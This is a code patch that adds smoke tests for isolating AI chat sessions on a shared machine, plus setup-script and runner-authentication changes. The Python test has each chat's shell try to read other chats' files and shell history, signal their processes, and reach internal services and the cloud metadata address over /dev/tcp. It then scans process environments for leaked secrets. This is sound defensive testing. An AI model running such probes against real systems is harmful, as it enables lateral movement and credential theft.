status != 0 and 'You already have 2 chats running; stop one first.' in refused, + f'exit {status} {short(refused, 200)}') + sentence = refused.strip() + shared['owner_third'] = {'id': third_id} + + # C2: the member's chat tries to reach the owner's chat. + probe = ('cat {w}/secretA 2>&1; echo "READ $?"; echo planted > {w}/planted 2>&1; echo "WRITE $?"; ls {w} 2>&1; echo "LIST $?"; ' + 'kill -0 {p} 2>&1; echo "SIGNAL $?"; ls /proc/{p}/fd >/dev/null 2>&1; echo "ENVIRON $?"; ' + 'cat {w}/../home/.bash_history 2>&1; echo "HOME $?"; echo "DATA $(ls -A /data 2>/dev/null | wc -l)"').format(w=work, p=first_pid) + status, out, err = chat(member, 'bash: ' + probe, session=member_id) + trace('the member\'s reach probe', 'READ ', status, out, err) + others = {name: field(out, name) for name in ('READ', 'WRITE', 'LIST', 'SIGNAL', 'ENVIRON', 'HOME', 'DATA')} + check('C2 another chat\'s files cannot be read', others['READ'] not in (None, '0') and 'A-ONLY' not in out, others['READ']) + check('C2 another chat\'s folder cannot be written to or listed', others['WRITE'] not in (None, '0') and others['LIST'] not in (None, '0'), + f"{others['WRITE']} {others['LIST']}") + check('C2 another chat\'s processes cannot be signalled or read', others['SIGNAL'] not in (None, '0') and others['ENVIRON'] not in (None, '0'), + f"{others['SIGNAL']} {others['ENVIRON']}") + check('C2 another chat\'s home cannot be read', others['HOME'] not in (None, '0'), others['HOME']) + check('C2 none of the organization server\'s own data is on the chats\' machine (the folder it would be in is empty)', others['DATA'] == '0', others['DATA']) + status, out, _ = chat(owner, 'bash: cat %s/secretB 2>&1; echo "READ $?"; cat secretA' % member_work, session=second_id) + check('C2 the same person\'s other chat cannot read a chat either', field(out, 'READ') not in (None, '0') and 'mine' not in out, short(out, 160)) + + # C3 and C3b: what a chat's shell can find, and where it can go. + net = ('p() { timeout 4 bash -c "exec 3<>/dev/tcp/$1/$2" 2>/dev/null && echo "NET $1:$2 open" || echo "NET $1:$2 closed"; }; ' + 'h() { exec 3<>/dev/tcp/$1/$2; printf "$3 $4 HTTP/1.0\\r\\nHost: x\\r\\n\\r\\n" >&3; head -n1 <&3; }; ' + 'p agentfield 8080; p modelstub 8890; p swe-af 8003; p pr-af 8007; p 169.254.169.254 80; p codeaf 8787; p sessionhost 8790; ' + 'echo "SESSIONHOST $(h sessionhost 8790 GET /v1/sessions 2>&1)"; ' + 'echo "ORG $(h codeaf 8787 GET /v1/hosted/sessions 2>&1)"; echo "MODEL $(h codeaf 8787 POST /v1/model/chat/completions 2>&1)"') + # What a chat's shell holds in its environment and in its folders is read from the machine's side (hosted_host), + # because the engine rightly refuses a command that searches for secrets; here the shell only tries to reach things. + status, out, err = chat(owner, 'bash: ' + net, session=first_id) + trace('the network probe', 'NET ', status, out, err) + closed = ('agentfield:8080', 'modelstub:8890', 'swe-af:8003', 'pr-af:8007', '169.254.169.254:80') + check('C3b the chat cannot reach AgentField, the nodes, the model stub or the metadata address', + all('NET %s closed' % target in out for target in closed), short(re.findall(r'^NET .*$', out, re.M), 400)) + check('C3b the chats\' machine API refuses a chat that has no secret', '401' in (field(out, 'SESSIONHOST') or ''), field(out, 'SESSIONHOST')) + check('C3b the organization server refuses a chat that has no sign-in', any(c in (field(out, 'ORG') or '') for c in ('401', '403')), field(out, 'ORG')) + check('C3b the model door refuses a chat that has no model bearer', '401' in (field(out, 'MODEL') or ''), field(out, 'MODEL')) + + # C10: the member cannot get, stop, delete or attach the owner's chat, and cannot tell it from one that never was. + code_u, body_u = http('GET', ORG + '/v1/hosted/sessions/' + UNKNOWN_CHAT, member) + wire_u = wire_answer(member, UNKNOWN_CHAT) + check('C10 an unknown chat is "There is no such chat."', code_u == 404 and isinstance(body_u, dict) and body_u.get('error') == NO_SUCH_CHAT, f'{code_u} {body_u}') + for verb, method, suffix in (('get', 'GET', ''), ('stop', 'POST', '/stop'), ('delete', 'DELETE', '')): + code, body = http(method, ORG + '/v1/hosted/sessions/' + first_id + suffix, member, {} if method == 'POST' else None) + code_n, body_n = http(method, ORG + '/v1/hosted/sessions/' + UNKNOWN_CHAT + suffix, member, {} if method == 'POST' else None) + check(f'C10 another person cannot {verb} a chat, and the answer is the same as for one that does not exist', + (code, body) == (code_n, body_n) and code == 404, f'{code} {body} | {code_n} {body_n}') + wire = wire_answer(member, first_id) + check('C10 another person cannot attach to a chat, with the same answer as for one that does not exist', wire == wire_u and wire[0] == 404, f'{wire} | {wire_u}') + code, rows = hosted_sessions(owner, {'X-Codeaf-Person': 'priya'}) + check('C10 a person-name header sent by a client changes nothing: the owner still sees only their own chats', + code == 200 and sorted(r['id'] for r in rows) == sorted([first_id, second_id, third_id]), f'{code} {[r["id"] for r in rows]}') + code, rows = hosted_sessions(owner) + check('C10 the owner\'s chats are all still there after the other person\'s attempts', sorted(r['id'] for r in rows) == sorted([first_id, second_id, third_id])) + code, rows = hosted_sessions(None) + check('C10 a request with no sign-in is refused', code in (401, 403), f'{code}') + + # C5: leave in the middle of a turn, come back, find the work done. + CLIENT_CWD.mkdir(parents=True, exist_ok=True) + running = subprocess.Popen(client_argv('bash: sleep 10; echo C5-DONE > c5.txt', first_id), cwd=CLIENT_CWD, env=client_env(owner), + stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + time.sleep(5) + running.kill() + running.wait() + time.sleep(14) + status, out, err = chat(owner, 'bash: cat c5.txt', session=first_id) + check('C5 a turn goes on after its client is killed, and the result is there on coming back', 'C5-DONE' in out, short(out + err, 200)) + # A command a killed client left behind can finish by itself; what only a live engine does is carry the turn, so the + # conversation must not come back saying a tool call was cut off. + check('C5 the conversation comes back with the turn finished, not cut off', 'cut off' not in (out + err), short(out + err, 200)) + + HOSTED_STATE.write_text(json.dumps(shared)) + HOSTED_STATE.chmod(0o600) + + # C7: stopping a chat ends everything it started; a stop is a stop for that chat only. + code, stopped = http('POST', ORG + '/v1/hosted/sessions/' + second_id + '/stop', owner, {}) + check('C7 stopping a chat is accepted', code in (200, 202, 204), f'{code} {short(stopped, 120)}') + time.sleep(3) + code, rows = hosted_sessions(owner) + states = {r['id']: r.get('state') for r in rows} + check('C7 the stopped chat is no longer running and the other one still is', states.get(second_id) != 'running' and states.get(first_id) == 'running', states) + status, out, err = chat(owner, 'hello again', session=third_id) if third_id else (1, '', '') + check('C7 stopping a chat frees the person\'s slot (the third chat now starts)', status == 0 and 'STUB noted' in out, f'exit {status} {short(out + err, 160)}') + code, deleted = http('DELETE', ORG + '/v1/hosted/sessions/' + second_id, owner) + check('C7 deleting a chat is accepted', code in (200, 202, 204), f'{code}') + code, gone = http('GET', ORG + '/v1/hosted/sessions/' + second_id, owner) + check('C7 a deleted chat is gone', code == 404 and isinstance(gone, dict) and gone.get('error') == NO_SUCH_CHAT, f'{code} {gone}') + + # C9: nothing a person read above used the machine's words. + leaked = [word for word in BANNED_WORDS if word in (NO_SUCH_CHAT + sentence).lower()] + check('C9 the sentences a person reads use none of the machine\'s words', not leaked, leaked) + + +def hosted_host(): + """Run inside the sessionhost container as root, with `hosted`'s state on stdin.""" + print('--- hosted chats: what only the machine can show') + state = json.load(sys.stdin) + stopped = state['owner_second'] + folder = os.path.dirname(stopped['work']) + uid_of_stopped = os.stat(folder).st_uid if os.path.isdir(folder) else None + check('C7 the stopped chat\'s folder is gone, or at least no longer holds its process', not stopped['pid'] or not os.path.exists('/proc/' + stopped['pid']), + stopped['pid']) + + def owned_by(uid): + found = [] + for entry in os.listdir('/proc'): + if entry.isdigit(): + try: + if os.stat('/proc/' + entry).st_uid == uid: + found.append(entry) + except OSError: + pass + return found + if uid_of_stopped is not None: + check('C7 no process of the stopped chat\'s user is left, including one started with setsid', owned_by(uid_of_stopped) == [], owned_by(uid_of_stopped)) + for name in ('owner_first', 'member'): + row = state[name] + check(f'C7 the {name} chat\'s own process was not touched by the other chat\'s stop', row['pid'] and os.path.exists('/proc/' + row['pid']), row['pid']) + secret = os.environ.get('CODEAF_SESSIONHOST_SECRET', '') + check('C3 the secret was read from this container\'s environment (so the next check means something)', len(secret) >= 32) + needle = secret.encode() + forbidden = (b'HOSTED_SECRET', b'SESSIONHOST_SECRET', b'FACTORY_TOKEN', b'AGENTFIELD', b'GH_TOKEN', b'OPENROUTER') + people = glob.glob('/chats/people/*/hs_*') + + def tree_scan(folder): + def work(): + files, hits = 0, [] + for root, _, names in os.walk(folder): + for name in names: + path = os.path.join(root, name) + try: + if os.path.getsize(path) < 50_000_000: + files += 1 + if needle in open(path, 'rb').read(): + hits.append(path) + except OSError: + pass + return {'files': files, 'hits': hits} + return work + + found, scanned = [], 0 + for folder in people: + info = os.stat(folder) + result = as_user(info.st_uid, info.st_gid, tree_scan(folder)) or {'files': 0, 'hits': ['could not look: ' + folder]} + scanned += result['files'] + found += result['hits'] + check('C3 the shared secret is nowhere in any chat\'s folders (each folder read as its own user)', bool(secret) and scanned > 0 and not found, + found[:3] or f'{scanned} files read') + + def env_scan(uid): + def work(): + rows = [] + for entry in os.listdir('/proc'): + if not entry.isdigit(): + continue + try: + if os.stat('/proc/' + entry).st_uid != uid: + continue + environ = open('/proc/%s/environ' % entry, 'rb').read() + command = open('/proc/%s/cmdline' % entry, 'rb').read().split(b'\0')[0].decode('utf-8', 'replace') + names = sorted(item.split(b'=')[0].decode('utf-8', 'replace') for item in environ.split(b'\0') if item) + rows.append({'command': os.path.basename(command), 'names': names, + 'secret': needle in environ, 'bad': [f.decode() for f in forbidden if f in environ]}) + except OSError: + pass + return rows + return work + + rows = [] + for uid in sorted({os.stat(folder).st_uid: None for folder in people}): + rows += as_user(uid, uid, env_scan(uid)) or [] + shells = [row for row in rows if row['command'] == 'sleep'] + check('C3 the environment of the processes the chats\' shells started was read (so the next checks mean something)', bool(rows) and bool(shells), + f'{len(rows)} processes, {len(shells)} started from a shell') + check('C3 no chat process holds the shared secret in its environment', bool(rows) and not [r for r in rows if r['secret']], [r['command'] for r in rows if r['secret']]) + check('C3 the chat\'s shell has none of the organization\'s secrets or model keys in its environment', + bool(shells) and not [r for r in shells if r['bad'] or 'OPENAI_API_KEY' in r['names']], + [(r['command'], r['bad'], r['names']) for r in shells][:2]) + chat_dir = os.path.dirname(state['owner_first']['work']) + planted = os.path.join(state['owner_first']['work'], 'planted') + check('C2 nothing another chat tried to write reached this chat\'s folder', read_as_chat_user(chat_dir, planted) is None, planted) + mine = os.path.join(state['owner_first']['work'], 'secretA') + check('C2 and this chat\'s file is as it was left', (read_as_chat_user(chat_dir, mine) or '').strip() == 'A-ONLY') + out = subprocess.run(['codeaf', 'sessionhost', 'probe'], capture_output=True, text=True) + try: + report = json.loads(out.stdout) + except ValueError: + report = {} + check('C4 the machine measured itself and can keep chats apart (mode and fence recorded)', out.returncode == 0 and report.get('ok') is True and bool(report.get('mode')), + {k: report.get(k) for k in ('ok', 'mode', 'fence_mode', 'require', 'cap_names_eff')}) + + +def hosted_after(): + print('--- hosted chats after the chats\' machine restarted') + owner = sign_in('owner') + state = json.loads(HOSTED_STATE.read_text()) + first = state['owner_first'] + code, rows = hosted_sessions(owner) + check('C6 the owner\'s chat is still listed after the restart', any(r['id'] == first['id'] for r in rows), [r['id'] for r in rows]) + # The chats' machine forgot the model bearers with its memory; the first attach says so in a plain sentence + # and the next one works, because the organization server mints and hands over a new one on that retry. + attempts = [] + out = '' + for _ in range(2): + status, out, err = chat(owner, 'bash: cat secretA; cat wt/f; cat c5.txt', session=first['id']) + attempts.append((status, (out + err).strip())) + if 'A-ONLY' in out: + break + time.sleep(2) + check('C6 the files are intact and the person is back in the chat (a retry is allowed once)', 'A-ONLY' in out and 'C5-DONE' in out, short(attempts, 300)) + + +def hosted_leftovers(): + """Run on the sessionhost right after it restarted, before anyone goes back in: nothing a chat started is still + running (found by what it is, never by a process number, which a restarted machine hands out afresh).""" + print('--- hosted chats: after the restart, before anyone goes back in') + left = [] + for entry in os.listdir('/proc'): + if not entry.isdigit(): + continue + try: + uid = os.stat('/proc/' + entry).st_uid + argv = open('/proc/%s/cmdline' % entry, 'rb').read().split(b'\0') + except OSError: + continue + if uid >= 200000 or argv[:2] == [b'sleep', b'600']: + left.append(entry) + check('C6 no process a chat started before the restart is still running afterwards', not left, left) + layout = [name for name in os.listdir('/chats')] if os.path.isdir('/chats') else [] + check('C6 the chats\' volume survived the restart', 'people' in layout, layout) + + def main(): parser = argparse.ArgumentParser() - parser.add_argument('section', choices=['all', 'control', 'job', 'org', 'after', 'after-org']) + parser.add_argument('section', choices=['all', 'control', 'job', 'org', 'after', 'after-org', 'hosted-prepare', 'hosted-seed', 'hosted', 'hosted-host', 'hosted-after', 'hosted-leftovers']) parser.add_argument('--operator-link', default='') args = parser.parse_args() - for name, run in (('control', control), ('job', job), ('org', lambda: org(args.operator_link)), ('after', after), ('after-org', after_org)): + for name, run in (('control', control), ('job', job), ('org', lambda: org(args.operator_link)), ('after', after), ('after-org', after_org), + ('hosted-prepare', hosted_prepare), ('hosted-seed', hosted_seed), ('hosted', hosted), ('hosted-host', hosted_host), ('hosted-after', hosted_after), ('hosted-leftovers', hosted_leftovers)): if args.section == name or (args.section == 'all' and name in ('control', 'job')): run() print('RESULT ' + ('PASS' if failures == 0 else f'FAIL ({failures} check(s) failed)')) diff --git a/deploy/org/setup.sh b/deploy/org/setup.sh index 6ba1560edd..08a22265fb 100755 --- a/deploy/org/setup.sh +++ b/deploy/org/setup.sh @@ -3,13 +3,23 @@ # overwrites an existing .env, and never prints a secret. set -eu cd "$(dirname "$0")" +random() { od -An -N32 -tx1 /dev/urandom | tr -d ' \n'; } +umask 077 if [ -f .env ]; then + # An .env from before hosted chats has no secret for them. It gets one, once, appended; nothing + # else in the file is touched, and a secret that is already there is never replaced. + if ! grep -q '^CODEAF_HOSTED_SECRET=.' .env; then + grep -v '^CODEAF_HOSTED_SECRET=$' .env > .env.new || true + printf 'CODEAF_HOSTED_SECRET=%s\n' "$(random)" >> .env.new + mv .env.new .env + echo ".env already exists; added a secret for hosted chats and left the rest as it is." + exit 0 + fi echo ".env already exists; leaving it as it is." exit 0 fi -random() { od -An -N32 -tx1 /dev/urandom | tr -d ' \n'; } -umask 077 sed -e "s/^AGENTFIELD_API_KEY=.*/AGENTFIELD_API_KEY=$(random)/" \ - -e "s/^CODEAF_FACTORY_TOKEN=.*/CODEAF_FACTORY_TOKEN=$(random)/" .env.example > .env -echo "Wrote .env with a new AgentField key and organization token." + -e "s/^CODEAF_FACTORY_TOKEN=.*/CODEAF_FACTORY_TOKEN=$(random)/" \ + -e "s/^CODEAF_HOSTED_SECRET=.*/CODEAF_HOSTED_SECRET=$(random)/" .env.example > .env +echo "Wrote .env with a new AgentField key, organization token and hosted-chats secret." echo "Add OPENROUTER_API_KEY (and GH_TOKEN) to run real work, or use the keyless smoke test (see README.md)." diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index b2e240a91b..7dfc3c8b58 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -13,10 +13,28 @@ # # COMPOSE='docker compose -p other' picks another project; SMOKE_ENV='--env-file x' adds an env file; # SMOKE_BUILD=--no-build uses the images that are already there (the default builds what changed). +# +# SMOKE_HOSTED_ONLY=1 runs only the hosted-chats part, on the three services it needs (codeaf, sessionhost, +# modelstub): no AgentField, no nodes, no runner. It implies SMOKE_HOSTED=1. +# +# SMOKE_HOSTED=1 adds hosted chats (the `hosted` profile, .env.stub.hosted): two people run chats on the +# sessionhost through `codeaf chat --org`, and the test checks that the chats are kept apart, hold no +# secrets, cannot reach the other services, can only be attached by their owner, survive a closed +# client, are cleaned up on a stop, and survive a restart of the sessionhost. It needs a codeaf with +# `codeaf sessionhost` in it, so build the image from a local binary (README.md "Hosted chats"): +# +# cp ../../bin/codeaf codeaf-local && SMOKE_HOSTED=1 CODEAF_BINARY_FROM=local ./smoke.sh set -eu cd "$(dirname "$0")" [ -f .env ] || ./setup.sh -DC="${COMPOSE:-docker compose} --env-file .env --env-file .env.stub ${SMOKE_ENV:-} --profile stub" +HOSTED="${SMOKE_HOSTED:-0}" +SERVICES= +FULL=1 +if [ "${SMOKE_HOSTED_ONLY:-0}" = 1 ]; then HOSTED=1; FULL=0; SERVICES="codeaf sessionhost modelstub"; fi +HOSTED_FLAGS= +[ "$HOSTED" = 1 ] && HOSTED_FLAGS="--env-file .env.stub.hosted --profile hosted" +# shellcheck disable=SC2086 +DC="${COMPOSE:-docker compose} --env-file .env --env-file .env.stub $HOSTED_FLAGS ${SMOKE_ENV:-} --profile stub" SMOKE=/opt/org/smoke.py bad=0 run() { # service exec-flags section [args]: run one section, remember a failure, go on @@ -26,19 +44,47 @@ run() { # service exec-flags section [args]: run one section, remember a failure } echo '== bringing the stack up (the first time this builds the images: several minutes)' -$DC up -d ${SMOKE_BUILD:---build} --wait --wait-timeout 600 +# shellcheck disable=SC2086 +$DC up -d ${SMOKE_BUILD:---build} --wait --wait-timeout 600 $SERVICES echo '== operator link' link=$(COMPOSE="$DC" ./operator-link.sh) # a secret: it is passed on, never printed here -run runner '' control +[ "$FULL" = 1 ] && run runner '' control run codeaf '-e ORG_URL=http://127.0.0.1:8787' org --operator-link "$link" -run runner '' job +if [ "$HOSTED" = 1 ]; then + echo '== hosted chats' + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-prepare + # The test chats are let run commands with nobody at a keyboard (smoke.py says why); it is written on the + # chats' machine, as root, into each chat's own settings. + $DC exec -T codeaf cat /data/smoke-hosted-ids.json | $DC exec -T sessionhost python3 $SMOKE hosted-seed || bad=1 + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted + # What only the machine itself can show: the state the client side just wrote goes in on stdin. + $DC exec -T codeaf cat /data/smoke-hosted.json | $DC exec -T sessionhost python3 $SMOKE hosted-host || bad=1 + mode=$($DC logs sessionhost 2>&1 | grep -m1 'sessionhost: mode' || true) + if [ -n "$mode" ]; then echo "PASS C4 the machine started in a mode that keeps chats apart ${mode##*: }"; else echo 'FAIL C4 the machine said no mode at start' >&2; bad=1; fi + # Fail closed: the same machine without the right to switch users must refuse, not run chats as root. + # shellcheck disable=SC2086 + if out=$($DC run --rm -T --no-deps --entrypoint codeaf --cap-drop SETUID sessionhost sessionhost probe 2>&1); then + echo "FAIL C4 a machine that cannot switch users still says it is ready $out" >&2; bad=1 + elif printf '%s' "$out" | grep -q '"ok": false'; then + echo 'PASS C4 a machine that cannot switch users refuses to run chats' + else + echo "FAIL C4 the refusal was not a clean one $out" >&2; bad=1 + fi +fi +[ "$FULL" = 1 ] && run runner '' job echo '== restarting every service' -$DC restart -$DC up -d --wait --wait-timeout 600 -run runner '' after +# shellcheck disable=SC2086 +$DC restart $SERVICES +# shellcheck disable=SC2086 +$DC up -d --wait --wait-timeout 600 $SERVICES +[ "$FULL" = 1 ] && run runner '' after run codeaf '-e ORG_URL=http://127.0.0.1:8787' after-org +if [ "$HOSTED" = 1 ]; then + $DC exec -T sessionhost python3 $SMOKE hosted-leftovers || bad=1 + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-after +fi if [ "$bad" = 0 ]; then echo 'SMOKE PASSED'; else echo 'SMOKE FAILED' >&2; exit 1; fi From f1159d2c40735a59409c839e1c3b0c9c6c9d101d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 04:19:38 -0500 Subject: [PATCH 035/176] serve: registering a runner follows loopback_trust A team factory with loopback_trust off (its default) no longer lets a process on the server's own computer attach a runner with no credential. A runner presents what a remote runner already uses: the host's access token, or a signed-in person's session. It names its handle unless its session does, and the factory's own person no longer stands in for one that names none. A solo factory and a team factory that sets loopback_trust are unchanged, and the app's private listener keeps its host token as the credential. Contract item C12 and its table test, the manual line, the PROTOCOL.md paragraph and the change entry go in the same commit. Three fixtures that attached with no credential to a team handler now say so (two opt in, the factory command test checks the 401 and attaches with the discovery token). Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/factory_command_test.go | 23 ++++- .../changes/unreleased/2895-org-follow-ups.md | 2 +- docs/design/app-v3/PROTOCOL.md | 10 +++ internal/factory/serve/serve.go | 2 +- .../serve/worker_attach_loopback_test.go | 84 +++++++++++++++++++ internal/factory/serve/workers.go | 26 +++--- internal/factory/worker/carry_stop_test.go | 5 +- .../factory/worker/reattach_lands_test.go | 5 +- internal/manual/chat/factory.md | 2 +- internal/manual/chat_test.go | 1 + 10 files changed, 142 insertions(+), 18 deletions(-) create mode 100644 internal/factory/serve/worker_attach_loopback_test.go diff --git a/cmd/codeaf/factory_command_test.go b/cmd/codeaf/factory_command_test.go index e3aeaed8a6..6b1229c812 100644 --- a/cmd/codeaf/factory_command_test.go +++ b/cmd/codeaf/factory_command_test.go @@ -100,7 +100,28 @@ func TestFactoryCommandServesQueueAndOwnsDiscovery(t *testing.T) { if response.StatusCode != http.StatusOK { t.Fatalf("record is absent from the service: status=%d", response.StatusCode) } - response, err = client.Post(address+"/v1/workers/attach", "application/json", strings.NewReader(`{"name":"test worker","handle":"tester"}`)) + // A runner on this computer asks a team factory for a runner credential too: + // without one the attach is refused, with the host token it is accepted. + attach, err := http.NewRequest(http.MethodPost, address+"/v1/workers/attach", strings.NewReader(`{"name":"test worker","handle":"tester"}`)) + if err != nil { + t.Fatal(err) + } + attach.Header.Set("Content-Type", "application/json") + if refused, err := client.Do(attach); err != nil { + t.Fatal(err) + } else { + refused.Body.Close() + if refused.StatusCode != http.StatusUnauthorized { + t.Fatalf("a credential-free attach from this computer: status=%d, want 401", refused.StatusCode) + } + } + attach, err = http.NewRequest(http.MethodPost, address+"/v1/workers/attach", strings.NewReader(`{"name":"test worker","handle":"tester"}`)) + if err != nil { + t.Fatal(err) + } + attach.Header.Set("Content-Type", "application/json") + attach.Header.Set("Authorization", "Bearer "+discovery.Token) + response, err = client.Do(attach) if err != nil { t.Fatal(err) } diff --git a/docs/changes/unreleased/2895-org-follow-ups.md b/docs/changes/unreleased/2895-org-follow-ups.md index ccdcab72ef..8b66828dd5 100644 --- a/docs/changes/unreleased/2895-org-follow-ups.md +++ b/docs/changes/unreleased/2895-org-follow-ups.md @@ -7,7 +7,7 @@ invalidates: - "Was true: everyone who could see a workstream was listed every other person's chat in it, with its title, owner, state and last-activity time (the v2 ruling C10), whatever the chat's own privacy. Is true now: chats start private (the organization policy's default for chats, unchanged), and the list shows another person's chat only when it is shared with you; a private chat is hidden from the workstream's people and from the operator, and the server does not announce it when it is made." - "Was true: sharing a private chat with one person opened it to the whole workstream and to the operator, because the chat then inherited the workstream's shares and grants. Is true now: a private chat that has been shared stays private and is reached by its owner and the people its own grants name, and by nobody else, the operator included unless the policy says it sees private things; the grants list and the audience of its events name the same people." - "Was true: #2890 removed the chunk-paged remote chat read, and dev's chats.read hello word and its agents.entries behaviour were the only chats.read. Is true now: the paged read is back as the method chats.read {cell, before?, limit?}, answered newest page first with sealed_at_ms and fetched_bytes, under its own hello word chats.read.paged. Dev's chats.read hello word keeps its meaning (agents.entries follows a saved remote head) and is not what advertises the paged read. The furrow pin is v0.3.7." - - "Was true: a request from the server's own computer with no sign-in acted as the factory's owner on every factory, team servers included, so any program on that machine was the owner. Is true now: that holds only on a solo factory by default. A team factory refuses a credential-free request from its own computer like any other, unless the host config says loopback_trust: true. A forwarded request is never local whatever the key says, unless a listed proxy names a loopback client in X-Forwarded-For; a script on the server's machine that called a team factory without a token must now send one (the discovery file carries it) or set the key. Worker attach keeps its own local door." + - "Was true: a request from the server's own computer with no sign-in acted as the factory's owner on every factory, team servers included, so any program on that machine was the owner. Is true now: that holds only on a solo factory by default. A team factory refuses a credential-free request from its own computer like any other, unless the host config says loopback_trust: true. A forwarded request is never local whatever the key says, unless a listed proxy names a loopback client in X-Forwarded-For; a script on the server's machine that called a team factory without a token must now send one (the discovery file carries it) or set the key. Registering a runner follows the same setting: a team factory with it off asks a runner on its own computer for a runner credential (the host's access token or a signed-in person's session) like a remote one, and the factory's own person no longer stands in for a runner that names no handle; solo is unchanged." - "Was true: the only identity that could call an organization server was a person, signed in or holding a person token. Is true now: a person can make a bot, a named identity with its own token (cbt_, shown once, stored only as a hash), that acts with at most its creator's rights at the moment of each request. It is default-deny with a route allowlist, cannot start an agent run, make bots or use operator routes, and ends with its token, its removal or its creator's removal from the organization." --- diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index e638064b7a..a0d5c02480 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1166,6 +1166,16 @@ metadata and a short hint. | `factory.org_bot_token_revoke {bot, token}` | `DELETE /v1/bots/{bot}/tokens/{token}` | The creator or operator revokes a token by ID. | | `factory.org_bot_remove {bot}` | `DELETE /v1/bots/{bot}` | The creator or operator removes a bot and ends its tokens. | +Who an organization server takes a request to be: a person's token or sign-in, a +bot's token, or, only where `loopback_trust` is on (solo by default, off on a team +server), a request from the server's own computer. A request carrying a forwarding +header is never from the server's own computer unless a listed proxy names a +loopback client in `X-Forwarded-For`. Registering a runner (`POST /v1/workers/attach` +and `POST /v1/runners/attach`) follows the same setting: with it off, a runner +presents the host's access token or a signed-in person's session even from the +server's own computer, and names its handle unless its session does; with it on, +nothing changes. A bot token is refused there. + An engine whose hello carries `org_agents` keeps an organization's agents: a name and instructions one person made in their space. `factory.org_agents` `GET /v1/agents` answers `{agents: [{id, name, instructions?, owner, owner_name?, roster?, team?, mine?, diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index fb5bbb47ff..160205c867 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -573,7 +573,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if !ok { return } - } else if r.URL.Path != "/access" && r.URL.Path != "/v1/factory-access" && r.URL.Path != "/v1/about" && r.URL.Path != "/v1/auth/password" && !passkeyOpenPath(r.URL.Path) && !h.allowed(r) && !h.localWorkerAttach(r) { + } else if r.URL.Path != "/access" && r.URL.Path != "/v1/factory-access" && r.URL.Path != "/v1/about" && r.URL.Path != "/v1/auth/password" && !passkeyOpenPath(r.URL.Path) && !h.allowed(r) { if h.authFailed(w, r) { return } diff --git a/internal/factory/serve/worker_attach_loopback_test.go b/internal/factory/serve/worker_attach_loopback_test.go new file mode 100644 index 0000000000..ba35ca7168 --- /dev/null +++ b/internal/factory/serve/worker_attach_loopback_test.go @@ -0,0 +1,84 @@ +package serve + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/api" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/Agent-Field/codeaf/internal/factory/tokens" +) + +// Contract C12 of the org-follow lane (NOTES.md): registering a runner follows +// loopback_trust like every other door. Where the setting is off (a team factory +// by default) a runner needs a runner credential, the one a remote runner uses +// (the host's access token, or a signed-in person's session), even from the +// server's own computer, and the factory's own person never stands in for a +// runner that names no handle. Where it is on (a solo factory by default, or a +// team factory that sets it) nothing changes. +func TestContractC12WorkerAttachFollowsLoopbackTrust(t *testing.T) { + const floor, local, remote = "floor-secret", "127.0.0.1:4321", "192.0.2.7:4321" + person, err := tokens.Mint() + if err != nil { + t.Fatal(err) + } + person.Expires = time.Now().Add(time.Hour) + for _, tc := range []struct { + name string + mode string + trust *bool + peer string + bearer string + handle string + headers map[string]string + want int + }{ + {"team, no setting, no credential from this computer", api.FactoryTeam, nil, local, "", "ci-1", nil, http.StatusUnauthorized}, + {"team, no setting, the host token from this computer, a handle", api.FactoryTeam, nil, local, floor, "ci-1", nil, http.StatusCreated}, + {"team, no setting, the host token from this computer, no handle", api.FactoryTeam, nil, local, floor, "", nil, http.StatusUnprocessableEntity}, + {"team, no setting, a person token with no sign-in from this computer", api.FactoryTeam, nil, local, person.Token, "ci-1", nil, http.StatusForbidden}, + {"team, no setting, the host token from another machine, a handle", api.FactoryTeam, nil, remote, floor, "ci-1", nil, http.StatusCreated}, + {"team, no setting, no credential from another machine", api.FactoryTeam, nil, remote, "", "ci-1", nil, http.StatusUnauthorized}, + {"team, loopback_trust true, no credential from this computer", api.FactoryTeam, boolPtr(true), local, "", "ci-1", nil, http.StatusCreated}, + {"team, loopback_trust true, a person token with no sign-in from this computer", api.FactoryTeam, boolPtr(true), local, person.Token, "ci-1", nil, http.StatusCreated}, + {"team, loopback_trust true, forwarded for a remote client", api.FactoryTeam, boolPtr(true), local, "", "ci-1", map[string]string{"X-Forwarded-For": "203.0.113.9"}, http.StatusUnauthorized}, + {"solo, no setting, no credential, no handle", api.FactorySolo, nil, local, "", "", nil, http.StatusCreated}, + {"solo, loopback_trust false, no credential", api.FactorySolo, boolPtr(false), local, "", "ci-1", nil, http.StatusUnauthorized}, + } { + t.Run(tc.name, func(t *testing.T) { + st, err := store.Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + path := filepath.Join(t.TempDir(), "tokens.json") + if err := tokens.Save(path, []tokens.Token{person}); err != nil { + t.Fatal(err) + } + h := New(factory.Seam{}, Config{Mode: tc.mode, LoopbackTrust: tc.trust, AccessToken: floor, TokensPath: path, Store: st, PullWait: time.Millisecond}) + t.Cleanup(h.Close) + body, err := json.Marshal(api.WorkerAttach{Name: "laptop", Kind: api.RunnerThisMac, Handle: tc.handle}) + if err != nil { + t.Fatal(err) + } + r := httptest.NewRequest(http.MethodPost, "/v1/workers/attach", bytes.NewReader(body)) + r.RemoteAddr, r.Host = tc.peer, "factory.test" + if tc.bearer != "" { + r.Header.Set("Authorization", "Bearer "+tc.bearer) + } + for name, value := range tc.headers { + r.Header.Set(name, value) + } + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + if w.Code != tc.want { + t.Fatalf("attach = %d 